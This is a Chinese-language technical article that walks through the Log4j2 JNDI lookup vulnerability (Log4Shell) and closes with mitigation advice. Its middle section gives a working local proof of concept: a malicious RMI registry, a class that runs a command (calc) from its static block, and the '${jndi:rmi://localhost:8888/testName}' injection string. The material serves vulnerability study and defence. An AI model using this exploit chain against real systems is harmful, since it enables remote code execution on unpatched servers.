你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

分析Log4j2漏洞

2021/12/16 22:13:23

分析Log4j 漏洞

  • 简介
  • 环境搭建
    • 代码运行
      • 利用漏洞查询运行信息
      • (入侵详细过程)Lookups基于jndi ,jndi 支持 rmi 执行代码
        • 创建注册中心
    • 修复方式(今天我在运行事官方已经修复)

简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

环境搭建

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

代码运行

利用漏洞查询运行信息

  • 运行Lookups查询信息

public class TestLog {

    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String text1  = "${java:vm}";
        logger.info("测试,{}",text1);
        
    }
}
  • 在Log4j2官网椎间中有Lookups详解 这其实是Lookups的功能如图
    在这里插入图片描述

(入侵详细过程)Lookups基于jndi ,jndi 支持 rmi 执行代码

创建注册中心

package controller;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
    public static void main(String[] args) {
        try {
            /**
             * 搞一个注册中心
             * 端口:8888
             */
            LocateRegistry.createRegistry(8888);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("执行 端口 8888");

            /**
             * 注册服务
             * TestObj 自定义类-> 可执行自定义代码
             */
            Reference reference = new Reference("TestObj", "cTestObj", "");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 服务名字
            registry.bind("testName", referenceWrapper);

        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

  • 创建入侵代码类
package controller;

public class TestObj {
    static {
        try {
        // 打开计算机
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

  • 运行
package controller;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class TestLog {

    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        // 在当前网站后台执行
        String text  = "${jndi:rmi://localhost:8888/testName}";
        logger.info("测试,{}",text);

    }
}

  • 执行结果
    在这里插入图片描述

修复方式(今天我在运行事官方已经修复)

  • 未修复之前的影响范围为Apache Log4j 2.x <= 2.15.0-rc1

建议

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  • 在应用classpath下添加log4j2.component.properties配置文- 件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。